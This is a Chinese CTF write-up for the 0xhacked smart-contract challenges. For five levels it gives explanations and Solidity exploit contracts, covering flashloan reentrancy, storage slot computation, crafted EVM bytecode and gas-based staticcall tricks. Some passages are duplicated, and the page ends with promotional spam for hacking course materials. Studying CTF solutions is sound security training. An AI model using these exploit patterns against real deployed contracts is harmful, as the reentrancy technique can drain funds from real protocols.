此次 0xhacked CTF 比赛,ChainSecLabs 取得了第四名的成绩。让我们来看看比赛题目的题解吧。(题目代码仓库在文末哦~)
BabyOtter
这是应该说是一个算法题,很明显需要溢出,因为精度问题,uint256(-1)/0x1337并不行。没有写出一个脚本找出X,而是找到了其中的数学规律。
//387 第12次溢出
//362 第24次溢出
//337 第36次溢出
...
//12 第192溢出
以上是一个循环,之后每个循环的末尾的数减1。
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
interface IBabyOtter {
function solve(uint x) external;
}
contract Exploit {
function exploit() public {
uint number = 106517423012574869748253447278778772725360170890836257832597187972312850502279;
address target = 0x4e309C767Acc9f9366d75C186454ed205d5Eeee3;
IBabyOtter(target).solve(number);
}
}
以上是一个循环,之后每个循环的末尾的数减1。
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
interface IBabyOtter {
function solve(uint x) external;
}
contract Exploit {
function exploit() public {
uint number = 106517423012574869748253447278778772725360170890836257832597187972312850502279;
address target = 0x4e309C767Acc9f9366d75C186454ed205d5Eeee3;
IBabyOtter(target).solve(number);
}
}
ChildOtter
做题时只是用debug查了下memory中0x20的值是
0xad3228b676f7d3cd4284a5443f17f1962b36e491b30a40b2405849e597ba5fb5,因为target=mload(32),直接取内存中0x20~0x40的值。
赛后仔细观察val[0][0] = x;的赋值过程发现,会先计算第一层映射值的插槽储存在memory0x20中,用于计算第二层映射值的插槽,然后sstore,第二层的映射位置没有写入memory而是存在于stack用了就丢弃。
ChildOtter
做题时只是用debug查了下memory中0x20的值是
0xad3228b676f7d3cd4284a5443f17f1962b36e491b30a40b2405849e597ba5fb5,因为target=mload(32),直接取内存中0x20~0x40的值。
赛后仔细观察val[0][0] = x;的赋值过程发现,会先计算第一层映射值的插槽储存在memory0x20中,用于计算第二层映射值的插槽,然后sstore,第二层的映射位置没有写入memory而是存在于stack用了就丢弃。
原理:对应文档中的映射值得插槽计算方法通过
keccak256(abi.encodePacked(uint(key),uint(slot)))
可以算出 第一层映射值得插槽为:
0xad3228b676f7d3cd4284a5443f17f1962b36e491b30a40b2405849e597ba5fb5,
第二层映射插槽为:
0xed428e1c45e1d9561b62834e1a2d3015a0caae3bfdc16b4da059ac885b01a145
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
interface IChildOtter {
function solve(uint x) external;
}
contract Exploit {
function exploit() public {
// write code here
address target = 0x63461D5b5b83bD9BA102fF21d8533b3aad172116;
IChildOtter(target).solve(
0xad3228b676f7d3cd4284a5443f17f1962b36e491b30a40b2405849e597ba5fb5
);
}
}
StakePool
本题的Pool中flashloan存在重入,在flashloan过程中可以再次调用合约的deposit,这个deposit的行为就相当于还钱闪电贷了,但是却给我们记录了存款的假象。这样我们只需要支付闪贷的手续费,就可以获得大量余额。分多次削减Pool中余额完成题目,因为一次借贷太多钱会导致手续费过高,题目环境我们没有太多的钱。
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
interface IStakePool {
function deposit() external payable returns (uint256);
function withdraw(uint256 shares) external returns (uint256);
function flashloan(uint256 amount, bytes calldata data) external;
function faucet() external;
function solve() external;
}
contract Exploit {
uint shares;
function exploit() public {
// write code here
address target = 0x511978e46Fc117795431f7493fB5288592097C4A;
IStakePool(target).faucet();
uint amount = (address(this).balance * 10000) / 5;
IStakePool(target).flashloan(amount, "");
IStakePool(target).withdraw(shares);
for(uint i = 0; i < 2; i++){
IStakePool(target).flashloan(address(target).balance, "");
IStakePool(target).withdraw(shares);
}
IStakePool(target).solve();
}
function onStakPoolFlashloan(
uint amount,
uint feeAmount,
bytes memory data
) external payable {
address target = 0x511978e46Fc117795431f7493fB5288592097C4A;
shares = IStakePool(target).deposit{value: amount + feeAmount}();
}
fallback() external payable {}
}
Bytedance
完成题目需要跑通过两次staticcall返回不同的值。
第一次会把"Hello Player"和target的字节码打包创建一个新的合约。”Hello Player“的bytes表示为
0x48656c6c6f20506c61796572
转换为字节码为:
可以看到前面这些字节码无伤大雅 只需要填充19字节就可以直接按照我们的逻辑来编写。
第二次把"*V"和target的字节码打包创建一个新合约。"
*V"的bytes表示为0x602a56 转换为字节码为:
发现字节码会直接跳转到2a的地方继续执行,那么字节码中必须由jumpdest ,但是第一个打包中没有jump。
我首先考虑控制push19 和 jumpdest中间的字段,让第一次打包后jumpdest被覆盖进push的内容中,而第二次打包jumpdest在正确的位置,之后按照自身字节码长度来判断应该返回的值。
我构造了如下字节码:
0x72ffffffffffffffffffffffffffffffffffff7371ffffffffffffffffffffffffffffffffffff5b303b608052608051608d116062577f48656c6c6f20506c61796572ffffffffffffffffffffffffffffffffffffffff608052600c6080fd5b7f602a56ffffffffffffffffffffffffffffffffffffffffffffffffffffffffff60805260036080fd
最后还要解决的一个问题是要求setup target时地址代码长度要求0,我们可以在构造函数中调用setup,这样由于合约还未完成部署,检测的代码长度为0。
攻击合约:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
interface IBytedance {
function solve() external;
function setup() external;
}
contract Exploit {
function exploit() public {
address target = 0x2eB0fCb87fe17e7a2aB93B6d51C0A72D9dbA6bdC;
bytes
memory code = hex"72ffffffffffffffffffffffffffffffffffff7371ffffffffffffffffffffffffffffffffffff5b303b608052608051608d116062577f48656c6c6f20506c61796572ffffffffffffffffffffffffffffffffffffffff608052600c6080fd5b7f602a56ffffffffffffffffffffffffffffffffffffffffffffffffffffffffff60805260036080fd";
Helper helper = new Helper(code);
IBytedance(target).solve();
}
}
contract Helper {
constructor(bytes memory a) public payable {
address target = 0x2eB0fCb87fe17e7a2aB93B6d51C0A72D9dbA6bdC;
IBytedance(target).setup();
assembly {
return(add(0x20, a), mload(a))
}
}
}
赛后想了下应该有更简单的构造方法,比如在jumpdest之前返回0x48656c6c6f20506c61796572,jumpdest之后返回0x602a56,并且用RETURN返回数据更好,当然本处使用了REVERT一样可行。
Factorial
题目让我们成功调用run方法,其中会staticcall回调msg.sender的factorial(uint256)5次,返回值累乘的结果是120。正常情况下,相同的返回值,累乘5次不可能刚好是120,因此我们需要返回不同的值。
因为staticcall限制不能修改状态,因此采用gas限制,根据冷热地址访问gas消耗不同,返回不同的值:第一次热访问返回120,后面4次冷访问都返回1,即可。
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
interface IFactorial {
function solve() external;
}
contract Exploit {
IFactorial level;
// construct() {} // construct not allowed
function exploit() public {
// write code here
address target = 0x1963ead4de36524e8EB53B88ccf79ff15Fe20baB;
level = IFactorial(target);
level.solve();
}
function factorial(uint256) public view returns (bytes32) {
uint startGas = gasleft();
uint bal = address(0x100).balance;
uint usedGas = startGas - gasleft();
if (usedGas < 1000) {
bytes32 data01 = bytes32(uint256(1));
return data01;
}
bytes32 data02 = bytes32(uint256(120));
return data02;
}
}
题目代码仓库:
https://github.com/0xHackedLabs/ctf/tree/main
学习资料分享
当然,只给予计划不给予学习资料的行为无异于耍流氓,### 如果你对网络安全入门感兴趣,那么你点击这里👉CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享
如果你对网络安全感兴趣,学习资源免费分享,保证100%免费!!!(嘿客入门教程)
👉网安(嘿客)全套学习视频👈
我们在看视频学习的时候,不能光动眼动脑不动手,比较科学的学习方法是在理解之后运用它们,这时候练手项目就很适合了。
👉网安(嘿客红蓝对抗)所有方向的学习路线****👈
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
学习资料工具包
压箱底的好资料,全面地介绍网络安全的基础理论,包括逆向、八层网络防御、汇编语言、白帽子web安全、密码学、网络安全协议等,将基础理论和主流工具的应用实践紧密结合,有利于读者理解各种主流工具背后的实现机制
面试题资料
独家渠道收集京东、360、天融信等公司测试题!进大厂指日可待!
👉嘿客必备开发工具👈
工欲善其事必先利其器。学习嘿客常用的开发软件都在这里了,给大家节省了很多时间。
这份完整版的网络安全(嘿客)全套学习资料已经上传至CSDN官方,朋友们如果需要点击下方链接也可扫描下方微信二v码获取网络工程师全套资料【保证100%免费】
CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享